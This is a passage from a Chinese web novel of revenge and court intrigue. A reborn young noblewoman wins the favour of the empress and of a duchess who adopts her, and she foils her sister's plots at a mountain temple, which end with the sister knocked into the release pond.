烈国公夫人也很替她高兴,笑道:“玉肌膏千金难求。幸得娘娘垂怜赐药,你这身上的伤定然不会落下疤痕了。待你大安后,定要亲自前往未央宫谢恩才是。”
晏逐星乖乖点头:“谨记夫人教诲。娘娘圣恩,星儿自
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当铭记于心,日夜不忘。待能下榻,定会亲自去未央宫谢恩。之后再往玄空寺佛前供上三载佛香,愿佛祖庇佑娘娘凤体康泰,千岁长春。”
“你这孩子,还叫什么夫人,多见外呀。唤我一声干娘就是了。”烈国公夫人笑眯眯地看着她。
听到这话,吴嬷嬷心念一动。
外边传言定远侯府大小姐给烈国公世子爷下了**,可如今烈国公夫人却要认她为干女儿,明显事情就不是那么一回事嘛。
看来那些多半是谣传。
她也笑呵呵地跟着搭话:“娘娘若是得知姑娘有这心意,定然十分开怀。对了,除了玉肌膏,娘娘还让我送了一些解闷的小玩意来。”
说罢她命人将赏赐之物拿了出来。
一个紫檀木嵌螺钿云纹棋盘配着上好和田籽玉雕琢而成的双色棋子。
吴嬷嬷笑呵呵道:“容老奴多句嘴。姑娘若闷了,不妨请永安王来手谈几局。咱们永安王呀,最喜欢下棋了。”
紧接着,又拿出了一架青桐木做的古琴。
此琴通体素雅,木质温润如玉,纹理细腻,一看就价值不菲。
“说来也巧,咱们永安王也擅长琴技。此琴王爷先前寻娘娘讨要多回,娘娘都没给。如今却给了姑娘。若王爷得知,少不得要上门讨要。姑娘可千万别给他,最多让他上门多弹几次。”
吴嬷嬷眼尾的笑意加深,烈国公夫人和晏逐星都听出了不对劲。
怎么感觉,皇后娘娘像是在撮合她和永安王?
这可能吗?
吴嬷嬷陆陆续续拿出了几个好东西,随后在她面前翻来覆去地夸了永安王好几回,最后又关心了晏逐星几句,方才回宫。
院外的定远侯没有进去,只是命下人偷偷入内打听吴嬷嬷和烈国公夫人都和晏逐星说了什么。
得知皇后娘娘这般看重晏逐星,烈国公夫人还要认晏逐星当义女。
他猛地一拍大腿。
哎呀,差点就酿成大错了呀!
第35章 被烈国公夫人的话勾起了好奇心
之前一直是温氏针对的晏逐星,他这个父亲只不过出面斥责过一次。
她应当不会记仇吧?
他记得,小时候晏逐星还是很黏着他的。
定远侯在心里打起了小算盘。
“去醉仙楼买份鲍汁扣鹅掌回来。”他扭头嘱咐小厮。
待到烈国公夫人离开后,他得好好跟星儿叙叙这父女之情。
……
吴嬷嬷离开后。
烈国公夫人和晏逐星说起了先前的事。
“我怎么瞧着,皇后娘娘好似属意你嫁给永安王呀?”她微微蹙眉。
晏逐星沉默片刻后,开口道:“干娘,我觉得你想多了。我这样的身份门第高攀不上永安王的。”
她不好把谢翊宁也重生了的事说出来。
她猜测今日皇后娘娘派人来给她送药,多半是谢翊宁在背后出力。
毕竟他说过要报恩。
吴嬷嬷三番几次提永安王,说不定就是在暗示她,此事是永安王所助,让她一定要记得感恩。
烈国公夫人听到她这话,心里有些酸涩。
若晏逐星是定远侯的亲女儿,恐怕侧妃之位还能争一争。
但她身世成谜,如今名声又不好。
帝后这般疼爱永安王,定然不会让她嫁进去。
她握住晏逐星的手,柔声安慰:“无妨。我同你说真心话,即便是皇后娘娘有意,我也不想让你嫁永安王。”
“为何?”晏逐星有些惊讶。
烈国公夫人压低声音:“国师的预言。”
晏逐星也想起了这事。
烈国公夫人叹了一口气:“四年后,你也才十八岁,未来的日子就要一个人走,未免也太辛苦了。你还年轻,不懂寡妇的煎熬。”
而后她摇了摇头。
“嗐,我和你说这些做什么。不过你放心,待你及笄后,干娘一定给你挑个如意郎君。”
说到最后,她脸上重新挂上了笑容。
晏逐星听到这话,鼻腔有些发酸。
烈国公夫人是真的拿她当亲女儿看待了。
若非亲女儿,又怎会替她考虑得这般周全。
“干娘,不急。”晏逐星拒绝了。
“我不想那么早嫁人。女子若是嫁了人,便没有那么自在了。我还想多陪你们和哥哥几年。”
烈国公夫人听到这话深感欣慰。
这孩子,是个知恩图报的。
他们将她认作义女,主要也是希望她能多陪陪敦儿。
毕竟敦儿已经很久没有那么开心了。
若她嫁了人,有了婆家,便不能隔三岔五去国公府照看儿子了。
“男怕入错行,女怕嫁错郎。成婚不急,但寻摸好郎君还是得抓紧时间的。”烈国公夫人莞尔一笑。
“毕竟好儿郎早早就会被人定下了。”
晏逐星虽然无意成婚,但也不好拂了她的美意,只是笑着点了点头。
“小姐,该喝药了。”双鲤将药送了上来,打断了两人的闲谈。
看到药,烈国公夫人想起了刚到玉澜院时他们那个兵荒马乱的阵仗,赶忙追问:“先前没来得及问,究竟发生何事了,你怎么会吐血?”
晏逐星还没开口,双鲤眼珠子一转,就抢先哭诉了起来。
“还不是卫国公夫人羞辱我家小姐。”
她一边抹眼泪一边把先前窦淑容说的那些话活灵活现地重复了一遍。
她现在演起这些哭戏来,得心应手。
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>晏逐星看着忍俊不禁,但意识到自己的情绪不对,赶忙压了压唇角,将脸埋到药碗中仰头将药喝下。
再放下碗时,脸上没了笑意,全是委屈和伤心。
烈国公夫人听着双鲤的复述,顿时勃然大怒:“有她那样的婆婆,谁家会把女儿送去受罪啊。”
晏逐星赞同地点了点头。
她也是这么觉得的。
烈国公夫人赶忙安慰晏逐星:“好孩子。你别怕,有干娘在呢。她若再说这些混账话,你就告诉干娘。就她那样还想给儿子娶高门贵女,我呸。”
早些年裴明镜确实是个香饽饽。
京城里许多人家都想将女儿许给他。
偏卫国公夫人窦氏是个挑剔严苛的主儿,几次相看都未相中合适人选,反倒把国公府严苛的规矩传了出来。
新妇晨昏定省一日不可缺。
卯时就要梳洗侍膳,巳时需得将中馈账册誊抄查阅,酉时三刻还得携账册禀事,戌正二刻又要给祠堂的长明灯添足灯油。
据说犯了错还得去祠堂跪地罚抄《女诫》,每错一字加罚三页。
纵是当朝皇后,嫔妃们去未央宫请安也不过五日一回,哪里像她这般严苛。
家世相当的情况下,谁愿意让家中嫡女去遭这个罪啊。
可偏偏窦氏又不愿意降低自己的要求,非说自己当初能做到,为**妇做不到。
挑来挑去,愣是从裴明镜十五岁挑到了现在,也没挑到一个满意的。
晏逐星还是头一回听到那么多密辛,她被烈国公夫人的话勾起了好奇心,忍不住问道:“不是说太后很偏疼裴大人么,他至今未娶,太后不着急么?怎么不给他赐婚。”
第36章 对她颇有好感,她怎么毫不知情呢
“怎么不急。”说起这些事来,烈国公夫人精神奕奕。
“他可是太后娘家的独苗苗,太后老早就要给他说亲了。可偏偏不知道窦氏怎么跟她老人家说的,竟然让她同意,硬生生将裴明镜的婚事拖到了现在。”
“不过我看太后应该是坐不住了,这几个月频繁召裴明镜入宫,估摸着快要给他定下婚事了。”
晏逐星若有所思,她询问道:“那您可知,先前卫国公夫人和哪家相看没成?”
烈国公夫人思索片刻:“相看不成一般都不会说出来。不过我瞧着太傅大人的嫡长孙女陆壁君应该是与他们家相看过的。”
听到“太傅”二字,她忽然想起做鬼的时候听到晏明远说的那些话。
他说太傅的孙子陆池**。
算了算时间,应该是她死后不久,也就是四年后。
晏明远还说陆池对她颇有好感,她怎么毫不知情呢。
印象里,她好像并不认识陆太傅的这位孙子。
“你想什么呢?你不会真看上裴明镜了吧?”见她久久不说话,烈国公夫人在她面前挥了挥手,示意她回神。
晏逐星忙道:“绝无此意。”
听到这话,烈国公夫人松了一口气。
“那就好。裴明镜此人虽然不错,但有窦氏那般持家严苛的婆母,你嫁过去日子不会好过的。”
“嗯,我听干娘的。”晏逐星乖乖点头。
外边玩雪的尉迟敦噔噔噔地跑了进来,脸上满是期待的笑:“妹妹,雪人堆好了,你快去看吧!”
“妹妹病着呢,你莫要将身上的寒气过给了她。”烈国公夫人温柔地看着儿子。
“哦!”尉迟敦点点头。
忙将自己沾了雪的斗篷摘下,冲着手心哈气,又搓了搓手,确认掌心变得暖和之后贴到了母亲脸上。
“娘亲,不冷啦。”
烈国公夫人顿时哭笑不得。
尉迟敦理直气壮道:“可以看雪人了吧?”
烈国公夫人正欲阻拦,晏逐星却笑着点头答应了下来。
“好呀。只不过我腿伤着了,哥哥得背我。”晏逐星伸出手。
尉迟敦二话不说弯腰半蹲到她面前,拍了拍自己的后背:“来,哥哥带你出去玩。”
晏逐星命人将暖和的斗篷重新披回尉迟敦身上,而后才爬到了他背上。
烈国公夫人看着这一幕,心惊胆战,生怕儿子把人给摔了。
没想到,他竟然走得稳稳当当,背着晏逐星去了院子里。
烈国公夫人掏出帕子,擦了擦有些湿润的眼角。
她已经许久没看到这样沉稳的儿子了。
看起来好似与常人无异。
但抵达院子后,尉迟敦将晏逐星轻轻放在铺了貂绒的藤椅上,方才的沉稳气质瞬间消失得烟消云散。
他指着那个脑袋歪斜的大胖娃娃和另一个小胖娃娃,一字一句道:“这个,我。这个,妹妹。”
晏逐星望着那歪戴梅花、斜插萝卜的雪堆,噗嗤笑出了声。
尉迟敦骄傲地抬起下巴:“我厉害吗?”
“厉害!哥哥最厉害了!”晏逐星托着下巴,一脸崇拜地看着他。
尉迟敦顿时乐得原地蹦跶,瞧见了走出来的烈国公夫人,嘿嘿一笑:“我再堆一个娘亲!”
话音没落就扑通跪进雪堆里,靴子把雪踢得到处乱飞。
烈国公夫人看着冒着孩童稚气的儿子,最终也还是笑弯了眉眼。
玩了好一会儿,尉迟敦累了,才依依不舍地跟着娘亲离开了玉澜院。
他一步三回头,看到晏逐星冲他挥手,尉迟敦扁扁嘴,眼泪说掉就掉:“娘亲,为什么妹妹不能跟我回家?”
“敦儿不哭。妹妹身子不好,要在这养病,过段时间她就会回家了。”烈国公夫人赶忙哄他。
好说歹说,终于把他骗回家了。
他们一走,定远侯便提着食盒来了玉澜院。
“星儿,为父命人去醉仙楼买了你最爱吃的鲍汁扣鹅掌,你快尝尝,还热乎着呢。”
无事献殷勤,非奸即盗。
这是晏逐星脑海里闪过的第一个念头。
“多谢父亲。”她示意衔蝉上前检查,看看这饭菜是否有问题。
见衔蝉微不可察地冲她点了点头,她这才放心食用。
醉仙楼的鲍汁扣鹅掌可不好买,至少得排一个时辰呢。
既然他送上门来,不吃白不吃。
“你我父女二人,何必这般客套。”定远侯坐在她对面,给自己倒了一杯酒。
他试探性地问道:“皇后今日为何又给你那么多赏赐?还有永安王,上回你坠马,他为何这般担心?”
“我也不知道呀。”晏逐星一脸无辜地看着他。
定远侯被她的回答哽住了。
他又道:“那烈国公夫人要认你为义女一事,你怎么不告诉父亲呀。”
“我以为母亲会跟您说。”晏逐星惜字如金,回答得十分简短。
定远侯再一次沉默,他挤出一个尴尬的笑:“出了那么大的事情,你们忘了也正常。”
“这事,确定是板上钉钉了?”他继续试探。
“嗯。干娘说,等过完年了,就办认亲宴,让京城里的人都知道我是她的义女。”晏逐星扯着虎皮当大旗。
定远侯露出了笑意,随后又倒了一杯酒。
他看着晏逐星:“星儿,你可是在怨父亲?”
晏逐星没说话,屋子里沉默一片。
定远侯有些尴尬地抿了一口酒。
“是父亲错了。原想着你妹妹在外边吃了那么多苦,多补偿她一些,却没想到忽视了你。为父自罚三杯。”
说完他仰头喝下了三杯酒。
酒入愁肠,他像是放开了些
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许,眼眶瞬间就红了。
“我还记得,你刚到侯府那会儿,只有这么点高。”他伸出手就着桌子比划了一下。
“你抱着我的腿喊爹爹,总是撒娇让我把你架在脖子上骑大马,有什么好吃的,总要藏起来留给我。”
“而今,你却连一句爹爹都不愿意喊了。为父心里难受啊。”
说到最后,他有些哽咽了。
晏逐星内心毫无波澜。
她很清楚定远侯这样自私自利的人,今日前来道歉绝对不可能是良心发现。
只不过今日皇后的赏赐和烈国公夫人的到来,让他觉得她比晏明月更有利用价值罢了。
他的眼泪,都是虚情假意。
“星儿,我们像从前一样,一家人和和美美不好吗?”他泪眼朦胧地看向晏逐星。
晏逐星缓缓开口:“小妹刚认回来那天,我特意用攒了三个月的月钱打了副金耳钉送去。结果呢?”
说到这,她垂下了头。
“母亲和兄长却觉得我在刻意炫耀。我现在多看她的院子一眼,都怕被人说居心不良。我哪里还敢和家里人亲近。”
她只提温如霜,不提定远侯。
这让定远侯脸色稍缓。
他知道这事自己做得不地道,但不代表他愿意被一个小辈指责。
“是你母亲做得不好,从今往后,若你有委屈,只管来找父亲。”他摆出了一副慈爱的模样。
“当真?”晏逐星抬头,怯生生地看着他。
“千真万确。你我父女十多年的感情,难道你还信不过我么。”定远侯拍着胸脯保证。
“这几年父亲亏欠你的,通通都给你补上。”
“我院子里的丫鬟……”晏逐星话说到一半,便没有继续说下去。
定远侯当即领悟她的意思,爽快答应:“明日便让牙人将奴仆带来,任你挑选。你母亲给你安排的这些人,就送去别的院落吧。”
晏逐星继续委屈巴巴地开口:“自妹妹归府,母亲便停了我每月三两银子的月钱,说我占了妹妹的身份,享了那么多年的福,该把我的月钱加到妹妹那边。”
定远侯嘴角抽了抽。
没想到夫人竟然连这点银子都要克扣。
他面上端出个虚笑:“是你母亲一时糊涂。这月钱,父亲补给你就是了。四年多的月钱,拢共也就一百多两银子。我给你补到二百两可好?”
“多谢爹爹。”
晏逐星这一声爹爹可算喊到他心坎里去了。
定远侯在心底嗤笑。
啧,果然是小丫头啊,随便装装慈父的模样哄一哄她就原谅了。
送走定远侯后,晏逐星脸上的笑意也消失了。
既然定远侯送上来给她利用,那她就不客气了。
就是不知道温如霜母女,如果知道定远侯对她这样讨好,会不会当场气死。
第37章 其中肯定有什么猫腻
定远侯来玉澜院的事情并未刻意隐瞒。
再加上晏逐星有心宣扬,很快温如霜和晏明月都知道了定远侯的所作所为。
“凭什么爹爹对她那么好,我才是他的亲女儿。”晏明月既愤怒又慌张。
从她回府后,全家人都宠着她抛弃了晏逐星。
她不能接受家里人对晏逐星比她更好。
如今定远侯竟然偏宠晏逐星,她顿时生出了危机感。
“不行,我要去找哥哥。”晏明月揉红了眼睛,决定去找晏明远和晏明修。
母亲和晏逐星有血海深仇,肯定是站在她这边的。
她必须要把两个哥哥也牢牢握在手里,不能让晏逐星抢走了。
想到他们仨都挨晏逐星的巴掌,她心里莫名生出了一股庆幸。
为了那个巴掌,哥哥们应该都不会选择偏袒晏逐星吧?
果不其然。
她找到两个哥哥把这事一说,二哥晏明修顿时义愤填膺了起来。
“那个野丫头霸占你大小姐的位置那么多年,不知感恩,又有害母亲坠马的嫌疑,父亲怎么还对她那么好。”
他越想越气,捋起了袖子,就要去找晏逐星。
“不行,我必须得给她一个教训,好让她认清自己的身份地位。”
“等等,不许去。”晏明远拦住了冲动的弟弟。
“为什么?”晏明修不解,十分委屈。
“你们没发现吗,自打那日告官之后,她就变得不一样了。”
晏明远这话一出,晏明月和晏明修都下意识地点头。
是呀,那天之后,晏逐星就好像变了一个人似的。
晏明远继续道:“好像伤害过她的人都受到了惩罚,妹妹的丫鬟**,母亲摔下马车残了。她反倒越过越好。皇后娘娘、永安王、烈国公一家都对她另眼相待。”
晏明月听到这话,死死咬住了下唇,内心的妒忌熊熊燃烧。
明明她才是侯府嫡女,晏逐星一个来路不明的野种,为什么那么多人偏宠她。
晏明修也觉得有些古怪。
他嘀咕道:“是啊,现在的她和从前完全不一样了。”
以前的晏逐星就是个窝囊废,府里最低贱的下人都能对她踩两脚。
现在别说下人了,就连父亲都变得对她客客气气了。
他脑海里忽然闪过一个荒唐的猜测:“你们说会不会是什么孤魂野鬼上了她的身,所以她才性情大变。”
晏明月被他这话吓了一跳,细细思量后,觉得也不是没有可能。
毕竟一个人短期内怎么可能会有那么大的变化。
“大哥,二哥,我害怕。”她楚楚可怜地抓住了两人的衣袖。
“明月乖,不怕哦,有大哥在呢。”晏明远赶忙放缓了语气哄妹妹。
见她吓得瑟瑟发抖,晏明修赶忙道:“三日后大哥不是要和户部侍郎家的沈小姐去玄空寺相看么。到时候,咱们就说要去玄空寺给母亲祈福,把晏逐星也带上,到时候让玄空寺的大师,狠狠收了她这个妖孽。”
晏明月一想,这确实是个好主意。
玄空寺在半山腰上,晏逐星腿脚不方便,要入寺庙就得有人抬着她上去。
到时候在抬轿子的人那里动动手脚,让他们手一滑,说不定就能让晏逐星彻底消失了。
于是她赶忙点头:“二哥这个主意好!”
“大哥,你觉得呢?”晏明修一脸期待地看着兄长。
晏明远迟疑了片刻,最终还是同意了这个做法。
晏明月亲自去了玉澜院跟晏逐星说这件事。
双鲤皱眉反驳:“二小姐,我家小姐的腿还伤着呢。太医说了不宜动弹,得好好养着。”
“无妨。马车直接到山脚下,到时换乘软轿上山,保管不用姐姐自己走一步路。”晏明月不停地劝说。
“眼下外头那些闲言碎语传得愈发难听,不如趁此机会到悬空寺为母亲斋戒祈福。既全了孝道,也让那些嚼舌根的再寻不着由头中伤姐姐。”
“你让我好好
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考虑考虑吧,最迟后日,我给你答复。”晏逐星没有当场答应。
她心里清楚得很。
晏明月不会无缘无故邀请她去寺庙,其中肯定有什么猫腻。
她还没有做好防范准备,不能马上答应下来。
“好,都听姐姐的。那姐姐你好好养伤,我明日再来看你。”晏明月见好就收。
她离开后,晏逐星看向双鲤,压低声音交代她去先前约好的地方等九栀。
九栀若是能来到她身边,她也能更放心一些。
“是。”双鲤应了下来,匆匆出府。
直到府里角门要落锁时,她才匆匆回来。
“人呢?”晏逐星忍不住问道。
“没看到。”双鲤摇了摇头,有些担忧地开口。
“她不会跑了吧?”
晏逐星心底也没底。
毕竟她和九栀也就见过两次面。
一次是在威宁侯府,一次就是她遛狗惊马。
她不确定九栀会不会留在她身边。
若找不到人,她还得另外去寻摸一些会武的丫鬟才行。
“先用饭吧,明日再说。”晏逐星让丫鬟上菜,做的全是她爱吃的菜。
天大地大,吃饭最大。
上辈子她活得很辛苦,因此这辈子有条件了,她不想亏待自己半分。
她要重新把自己好好的养一遍。
……
定远侯动作很快。
昨日答应她重新换人,今日牙行便领了一串丫鬟小厮来玉澜院任她挑选。
晏逐星一眼就看到了队伍里的九栀。
她有些惊讶,九栀怎会混在其中。
九栀冲她露出一抹笑,眨了眨眼示意她不要担心。
晏逐星收回目光,假装不认识她,随后便按照自己的要求挨个筛选,留下想要的丫鬟。
牙人欢欢喜喜地领着剩下的人走了。
晏逐星让衔蝉和双鲤去管理那些新来的丫鬟,单独留下了九栀问话。
“昨日是约定好的时间,你怎么没出现?”
第38章 永安王当真心悦于她,想要娶她?
“我被永安王的人带走了。”九栀没有隐瞒。
“什么?”晏逐星当场傻眼。
怎么又和谢翊宁有关。
“那日我办完事后,便离开了你安排的住所,没想到,还是被他们找到了。”九栀有些羞愧。
她以为自己扫尾扫得很干净呢,没想到永安王的人技高一筹。
“永安王说他知道我是谁的人。他说他没有恶意,只是京兆尹裴明镜的人一直在找我。他让我在王府呆了两日,说会找机会将我送回小姐身边。今日侯府要采买丫鬟,他便安排我混了进来。”
晏逐星都被永安王这番举动给弄迷糊了。
就算是报恩,是不是次数也太多了一点。
难不成是他觉得他的命比较值钱,需要多报几次?
还是说……
晏逐星脑海里闪过吴嬷嬷疯狂夸赞永安王的画面,还有皇后娘娘的那些赏赐,以及烈国公夫人的猜测。
难不成永安王当真心悦于她,想要娶她?
想到这,晏逐星噗嗤笑出了声。
这怎么可能。
她也太敢想了。
“小姐,你笑什么?”九栀有些疑惑。
她摇摇头,没说出来。
永安王什么身份,她什么身份。
他们两人绝对不会有可能的。
虽然卫国公夫人说话很难听,但她说的确实是实话。
她这样来历不明的身份,嫁给裴明镜都不够格,更别提永安王了。
既然他没有恶意,她也懒得去想他为什么会这么做。
大不了之后有机会了,她再报答他。
晏逐星轻轻用指节敲了敲自己的脑袋,把这些不切实际的想法抛出脑袋。
如今她腿脚不便,有一个会武功的丫鬟在身边,她安心多了。
她可以仔细想想如何对付晏明月了。
欺负她的人,她是绝对不会放过的。
她提笔写下了晏明远、晏明修、晏明月三个人的名字。
据说昨日晏明月去找了他们俩,随后才来邀请她去玄空寺的。
这应该是他们兄妹三人商议出来的结果。
晏逐星又在纸上写下了“玄空寺”三个大字。
“为什么他们非要我去玄空寺不可呢?”晏逐星咬着笔杆子,思索了起来。
片刻后,她猛地一拍脑袋,想起来了。
上辈子晏明远一行人,也去了玄空寺。
只不过那时候温如霜还不是残废,她领着晏明远和晏明月一块去的。她要给晏明远相看媳妇。
“相看的对象,是谁来着了。”她嘟囔着在纸上胡乱涂抹,将那些人的名字都抹去后,终于想起来了。
是户部侍郎沈源晖的嫡女沈墨湘。
上辈子两人看对了眼,半年后便成婚了。
玄空寺的邀约透着蹊跷,她在纸上标记出了他们可能会陷害她的地方和手段。
不过,坐以待毙不是她的脾性。
她决定反击。
管他们的目的是什么呢,她要借此机会毁了晏明远的这桩姻缘,顺便把晏明月也给收拾了。
前世他们踩着她的尸骨登上富贵阶。
这一世,她要他们血债血偿,穷困潦倒。
她要他们跪在泥淖里,亲手把最珍视的东西,一件件碾成齑粉。
晏逐星仔细回忆起玄空寺的情况。
她记得玄空寺附近好像有个温泉山庄,最后好像被威宁侯买了下来。
只是不知道到底是哪一年。
她命九栀明日出门打听打听那个温泉山庄的事情。
她有一个好主意,或许可以一箭三雕。
……
晏明月等了一整天,没了耐心,她再次来了玉澜院。
先装模作样地和晏逐星寒暄几句后,她问出了自己的目的:“姐姐想好了吗,到底要不要跟我们一块去玄空寺呀。”
“去。”晏逐星微微颔首。
她打算赌一把,一箭三雕。
晏明远,晏明月还有威宁侯府,都得付出代价。
“好,那我这就跟大哥说去,保管安排得妥妥当当。”晏明月笑着离开。
晏逐星闭目思索了起来。
后日去玄空寺,她还有时间布局。
足够了。
九栀回府后,将打听的消息悉数道来。
“那个温泉山庄还未易主,威宁侯前些时日才去谈过,似乎没有谈妥。”
晏逐星想了想,轻声吩咐道:“你想办法给威宁侯透露一下,定远侯府要买那个山庄。让他后日务必出现在玄空寺附近。”
“好。”九栀想也没想地就答应了下来。
晏逐星长长地吐了一口气,又在脑海里将那日的会遇到
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的可能反复演练了数十遍。
眨眼就到了去玄空寺祈福的日子。
晏逐星被抬上马车,晏明月紧随其后。
车帘落下,晏明月攥帕子的手沁出薄汗。
前头兄长的马蹄声渐远,她斜眼瞥向闭目养神的晏逐星。
她的心脏扑通扑通直跳。
她早叫人对软舆轿杠的榫卯动了手脚,待到行至半山腰,只消轿夫踉跄半步,到时候晏逐星不死也要丢掉半条命。
即便侥幸活下来,恐怕她的腿会彻底废掉,脸也会被划伤好几条血印子。
想到这,她微微勾起唇角。
车帘缝隙漏进的山风带着檀香,晏逐星仍阖着眼皮。
直到路上传来了山雀的叫声,恰似三长一短。
晏逐星唇角微微翘起。
她交代九栀的事情,办妥了。
马车停下,晏明远派人将软舆抬了过来。
不曾想,却已经有人在等着了。
晏明月掀开车帘,发现等着抬软舆的人不是她安排的,瞬间变了脸色。
“你们是谁?”
“哦,是我找来的人,有问题吗?”身后的晏逐星淡淡开口。
晏明月挤出一丝难看的笑:“大哥早有安排,姐姐为何还要另外找人,莫不是信不过大哥?”
一番话,成功让晏明远皱起了眉头。
晏逐星不疾不徐地开口:“大哥贵人多忘事,忽视我不是一次两次了。先前我来月事时,他还让我用冷水给你洗衣裳呢。”
山脚下车马络绎,这话随风荡出去两丈远。
晏明远脸上瞬间涌出热意。
来玄空寺的不止他们一家,若是让京城里其他贵人听了去,还不知道在背地里会怎么揣度他呢。
晏逐星这话就是故意在落他的面子。
他张嘴正欲挽回一些自己的名声:“我……”
还没说完,就被打断了。
“我知道大哥忙,怕你这回又把我给忘了,所以才提前让丫鬟安排好轿夫在此等候。不过我请来的人已经付过银钱,不坐浪费了。不如大哥将你准备的那个软舆给二妹妹坐吧。”
晏逐星冲着晏明月露出了一抹意味深长的笑,看起来像一个贴心的姐姐。
“毕竟二妹妹身娇体弱,这么长一段路,恐怕她爬上去也会累得够呛。”
第39章 只可惜……
晏明月下意识地攥紧了手。
她可不能坐那个软舆,若是坐上去她就完了。
她赶忙道:“不了,我能走。为母亲祈福,走路去才心诚。”
原本晏逐星还不能确定她准备的软舆有没有问题,如今看她这个态度,必然是有问题了的。
晏逐星没有继续在这个问题上纠缠,她给晏明月准备的好戏还在后头呢。
一行人慢慢悠悠地上了玄空寺。
踏上最后一级石阶时,正撞见沈夫人替女儿整理发钗。
沈墨湘的浅杏色裙摆被山风吹得微乱,瞥见晏明远时,她倏地侧过身去。
“夫人,真巧,你们今日也来玄空寺上香么?”晏明月跨前半步攀谈。
沈夫人将女儿往身前一拉:“是呀,带着湘儿来求平安符。你母亲可还好?”
“嗯,好多了。但我与兄长还有姐姐还是想来玄空寺替母亲祈福,期盼她早日康复。”晏明月故意抬高声量。
晏明远趁势来同沈夫人问好:“晚辈晏明远,问夫人安。”
沈墨湘恰在此时抬眼,两人目光一触即分,沈墨湘耳尖泛起红晕,低头盯着青石板上两道斜斜的人影不敢再看他。
一旁的晏逐星饶有兴致地看着他们。
明明是提早约好了相看,明面上却不能透露半分,两家人还在这装模作样的偶遇。
见沈夫人看过来,她也虚虚行了一礼:“夫人好。”
“嗯,你们倒是有孝心了。”沈夫人没有过多打量晏逐星,她更关心晏明远。
毕竟这个孩子之后会成为自己的女婿。
“既是如此,那咱们便一块入殿内上香吧。”沈夫人邀请道。
“好呀。”晏明月笑着答应。
一行人正欲入大雄宝殿内,晏逐星却在此时开口:“我有些疲倦,想去后山透透气,将先前双鲤捡到的玄龟送去放生,就当为母亲祈福了。”
“行。那你们伺候好大小姐。”晏明远没有阻拦,反倒将自己的小厮拨给了晏逐星。
“有什么事,你便让竹安来寻我。”
语气温和,一如晏明月没被找回来之前,俨然是一个疼爱妹妹的好兄长。
“好的,大哥。”晏逐星应下,让人将她抬至后山。
玄空寺后山的放生池极大,连着山体一起,形如被巨斧劈开的半片莲叶。池面约三丈宽,水色极深,看不到底,风吹过水面泛起波澜。
真是个毁尸灭迹的好地方呀。
晏逐星让丫鬟将玄龟放走,耐心地等着。
她赌晏明月一计不成,还有第二计。
她不会放过这绝佳陷害她的机会。
不过在那之前,她要把无关人等给请开。
“我饿了,想吃山脚的烧饼,你去给我买。”晏逐星看向了一旁的竹安。
竹安皱眉拒绝:“大小姐,小的奉少爷之命得守着您。”
晏逐星眉梢一挑:“大哥让你什么都听我的,你是要阳奉阴违吗?你若不听,我回家就告诉父亲,让他把你换了。”
竹安立刻怂了。
谁不知道侯爷如今十分偏爱大小姐,整个玉澜院的人几乎都换了一遍。
他在大少爷身边办差办得好好的,他可不想被赶走。
他挤出一个笑脸:“小的这就去给您买。”
他离开后,放生池附近便只剩下了晏逐星主仆,零零散散有几个香客出来放生,但很快就离开了。
晏逐星裹着斗篷,怀里还抱着手炉,并不觉得寒冷。
看着巍峨的山,反倒感觉到了久违的自由。
在侯府虽不愁吃穿,但那种整日算计的窒息之感还是让她想要逃离。
她闭上眼眸,暗暗想着日后的生活。
等她将定远侯府的仇人除尽后,她便去江南养老。
上辈子她在边塞从军时,曾遇到过一个来自江南水乡的小兵阿槐。
有一次他们被敌军围困不得不吃草根树皮时,阿槐还在嘴里念叨着家乡的美味。
他们春天会吃裹着艾草香的青团,软软糯糯,回味无穷。
夏天会把菱角剥肉与米同煮,加入苋菜嫩叶煮出清甜的菱角菜粥。
秋天将湖蟹残肢碎壳熬汤滤渣,加黄豆酱熬煮,做成香喷喷的蟹糊酱,一勺配着能吃三大碗饭。
冬天把腌制好的雪里蕻切碎,与老豆腐同炖,做成的咸菜滚豆腐,咸香暖身。
他口中的一切,都让她心生向往。
她那时候想着,等之后空了她一定要去一趟江南,去他的家乡尝尝他说的那些美食,看看他念念不忘的家乡美景。
只可惜……
后来她没能去成,万箭穿心死在了战场
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上。
“姐姐,这是我替你求的平安符,将它系在这红色的福布条上,挂到那棵百年古树上,便可以一辈子平平安安。”
晏明月的声音将晏逐星从回忆里唤醒。
她睁开眼,就看到了晏明月递过来的红布条。
“可我的腿不方便去系,不如妹妹帮我吧。”晏逐星看向了放生池边上的那棵古树。
上边挂满了古往今来人们祈愿的红布条。
“这个东西呀,还是得自己亲手挂上去才灵验。要不我和蔓儿一左一右搀扶着姐姐过去吧?”晏明月笑意盈盈,似乎不达目的不罢休。
“若是能一次就挂上去,说明佛祖保佑姐姐呢,你的腿肯定很快就好了。”
晏逐星已经大概猜到了她的目的。
看来,她们某种程度上也算有默契,都想到一块去了。
“言之有理。双鲤,你去让大哥他们也来挂这福布条吧。”她扭头看向了一旁的丫鬟。
双鲤听话地去了。
“对了,衔蝉,你再替我去捐点香油钱。”
晏逐星又让衔蝉离开。
晏明月大喜,她还想着怎么将晏逐星的丫鬟支开呢,没想到她竟然自己就把人给叫走了。
她给自己的丫鬟蔓儿使了个眼神。
蔓儿想着二小姐先前跟她说的话——
“待会我和你一块将姐姐搀扶到放生池边上,趁着她扔红布条的时候,你把她推下池子,记住了吗?”
这么冷的天,若是掉到池子里,一定会出大事的。
蔓儿紧张得手心都冒出了汗。
晏明月见她傻愣愣地站着,暗示道:“蔓儿,你小心些,莫要摔着姐姐了。”
“是,奴婢一定会小心的。”蔓儿咬唇,将晏逐星从椅子上搀扶了起来。
如今正值冬日,来放生的人极少。
大雄宝殿内慧心大师正在讲经,大多数人都在里边听着念经。
因而后山这放生池,只有晏逐星三人。
晏明月和蔓儿一左一右地将她搀扶到了树下。
晏明月松开了手,笑道:“姐姐,那我先扔了。”
她抬头扔红布条前,给丫鬟使了个眼神。
下一刻,蔓儿深吸一口气,准备将晏逐星推下水。
没想到,“噗通”一声响。
晏明月落水了。
第40章 失了清白,之后的婚事恐怕难办咯
正准备推人的蔓儿当场愣在了原地。
树上怎么会忽然掉下来一个黑衣人,直接把二小姐踹到了放生池里?
事情发生得太快,她还处于吓懵了的状态。
晏逐星趁机往地上一躺。
黑衣人迅速撤离。
“救命……救救我……”
晏明月在放生池里沉沉浮浮,拼命挣扎。
池水瞬间漫过狐裘灌进她的衣领里,她拼命扑腾着想要起来,可是越挣扎就越往下坠。
蔓儿听到呼救声打了个激灵,这才回过神来,慌张道:“来人呀,有没有人救救我家小姐。”
“林管事?林管事你在吗?”
求救声和询问声同时响起。
